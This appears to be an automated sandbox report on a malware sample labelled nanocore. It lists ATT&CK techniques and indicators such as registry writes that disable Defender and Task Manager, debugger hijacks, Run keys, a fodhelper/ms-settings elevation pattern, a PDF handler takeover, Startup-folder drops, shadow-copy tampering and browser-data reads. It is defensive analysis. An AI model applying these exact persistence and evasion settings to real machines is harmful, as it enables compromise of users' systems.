nanocore | 2f527c34a633bb91e50afd5bc94073a07aceb7bf073375c23f16fa6a6c553cc6

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	libecch.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3352	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	libecch.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	libecch.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	libecch.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1408	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	libecch.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1412	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	libecch.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
244	wscript.exe
2124	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	libecch.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6812	sc.exe
6316	sc.exe
6724	sc.exe
6772	sc.exe
6944	sc.exe
3684	sc.exe
4496	sc.exe
2340	sc.exe
5160	sc.exe
2216	sc.exe
3184	sc.exe
800	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
324	cmd.exe
308	cmd.exe
7048	cmd.exe
6068	cmd.exe
3500	cmd.exe
4208	cmd.exe
5340	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6236	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6580	NETSTAT.EXE
6280	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
6748	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1748	vssadmin.exe
4824	vssadmin.exe
3068	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2"	libecch.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306480208156904"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe\" \"%1\""	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	libecch.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2724	schtasks.exe
6472	schtasks.exe
4132	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2696	chrome.exe
2696	chrome.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
4800	WMIC.exe
4800	WMIC.exe
4800	WMIC.exe
4800	WMIC.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
2244	WMIC.exe
2244	WMIC.exe
2244	WMIC.exe
2244	WMIC.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
5436	WMIC.exe
5436	WMIC.exe
5436	WMIC.exe
5436	WMIC.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe
3576	libecch.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3576	libecch.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeBackupPrivilege	5864	vssvc.exe
Token: SeRestorePrivilege	5864	vssvc.exe
Token: SeAuditPrivilege	5864	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4800	WMIC.exe
Token: SeSecurityPrivilege	4800	WMIC.exe
Token: SeTakeOwnershipPrivilege	4800	WMIC.exe
Token: SeLoadDriverPrivilege	4800	WMIC.exe
Token: SeSystemProfilePrivilege	4800	WMIC.exe
Token: SeSystemtimePrivilege	4800	WMIC.exe
Token: SeProfSingleProcessPrivilege	4800	WMIC.exe
Token: SeIncBasePriorityPrivilege	4800	WMIC.exe
Token: SeCreatePagefilePrivilege	4800	WMIC.exe
Token: SeBackupPrivilege	4800	WMIC.exe
Token: SeRestorePrivilege	4800	WMIC.exe
Token: SeShutdownPrivilege	4800	WMIC.exe
Token: SeDebugPrivilege	4800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4800	WMIC.exe
Token: SeRemoteShutdownPrivilege	4800	WMIC.exe
Token: SeUndockPrivilege	4800	WMIC.exe
Token: SeManageVolumePrivilege	4800	WMIC.exe
Token: 33	4800	WMIC.exe
Token: 34	4800	WMIC.exe
Token: 35	4800	WMIC.exe
Token: 36	4800	WMIC.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe
Token: SeIncreaseQuotaPrivilege	4800	WMIC.exe
Token: SeSecurityPrivilege	4800	WMIC.exe
Token: SeTakeOwnershipPrivilege	4800	WMIC.exe
Token: SeLoadDriverPrivilege	4800	WMIC.exe
Token: SeSystemProfilePrivilege	4800	WMIC.exe
Token: SeSystemtimePrivilege	4800	WMIC.exe
Token: SeProfSingleProcessPrivilege	4800	WMIC.exe
Token: SeIncBasePriorityPrivilege	4800	WMIC.exe
Token: SeCreatePagefilePrivilege	4800	WMIC.exe
Token: SeBackupPrivilege	4800	WMIC.exe
Token: SeRestorePrivilege	4800	WMIC.exe
Token: SeShutdownPrivilege	4800	WMIC.exe
Token: SeDebugPrivilege	4800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4800	WMIC.exe
Token: SeRemoteShutdownPrivilege	4800	WMIC.exe
Token: SeUndockPrivilege	4800	WMIC.exe
Token: SeManageVolumePrivilege	4800	WMIC.exe
Token: 33	4800	WMIC.exe
Token: 34	4800	WMIC.exe
Token: 35	4800	WMIC.exe
Token: 36	4800	WMIC.exe
Token: SeShutdownPrivilege	2696	chrome.exe
Token: SeCreatePagefilePrivilege	2696	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe
2696	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3576	libecch.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 2696	3576	libecch.io_chrome.exe	89
PID 2696 wrote to memory of 4776	2696	chrome.exe	90
PID 3576 wrote to memory of 3352	3576	libecch.io_chrome.exe	91
PID 3576 wrote to memory of 6944	3576	libecch.io_chrome.exe	93
PID 2696 wrote to memory of 6236	2696	chrome.exe	94
PID 2696 wrote to memory of 6480	2696	chrome.exe	95
PID 2696 wrote to memory of 6480	2696	chrome.exe	95
PID 2696 wrote to memory of 4376	2696	chrome.exe	96
PID 2696 wrote to memory of 4376	2696	chrome.exe	96
PID 2696 wrote to memory of 5992	2696	chrome.exe	99
PID 2696 wrote to memory of 360	2696	chrome.exe	100
PID 2696 wrote to memory of 5992	2696	chrome.exe	99
PID 2696 wrote to memory of 360	2696	chrome.exe	100
PID 3576 wrote to memory of 3684	3576	libecch.io_chrome.exe	101
PID 3576 wrote to memory of 6812	3576	libecch.io_chrome.exe	198
PID 3576 wrote to memory of 6316	3576	libecch.io_chrome.exe	134
PID 3576 wrote to memory of 4496	3576	libecch.io_chrome.exe	107
PID 2696 wrote to memory of 6716	2696	chrome.exe	108
PID 2696 wrote to memory of 6716	2696	chrome.exe	108
PID 3576 wrote to memory of 2340	3576	libecch.io_chrome.exe	110
PID 3576 wrote to memory of 5160	3576	libecch.io_chrome.exe	112
PID 3576 wrote to memory of 6724	3576	libecch.io_chrome.exe	114
PID 3576 wrote to memory of 6972	3576	libecch.io_chrome.exe	116
PID 3576 wrote to memory of 6772	3576	libecch.io_chrome.exe	117
PID 2696 wrote to memory of 6156	2696	chrome.exe	118
PID 2696 wrote to memory of 6156	2696	chrome.exe	118
PID 3576 wrote to memory of 2216	3576	libecch.io_chrome.exe	120
PID 6972 wrote to memory of 1944	6972	fodhelper.exe	122
PID 3576 wrote to memory of 1748	3576	libecch.io_chrome.exe	123
PID 3576 wrote to memory of 4800	3576	libecch.io_chrome.exe	125
PID 3576 wrote to memory of 244	3576	libecch.io_chrome.exe	132
PID 3576 wrote to memory of 2724	3576	libecch.io_chrome.exe	133
PID 3576 wrote to memory of 4132	3576	libecch.io_chrome.exe	135
PID 3576 wrote to memory of 7048	3576	libecch.io_chrome.exe	140
PID 3576 wrote to memory of 308	3576	libecch.io_chrome.exe	142
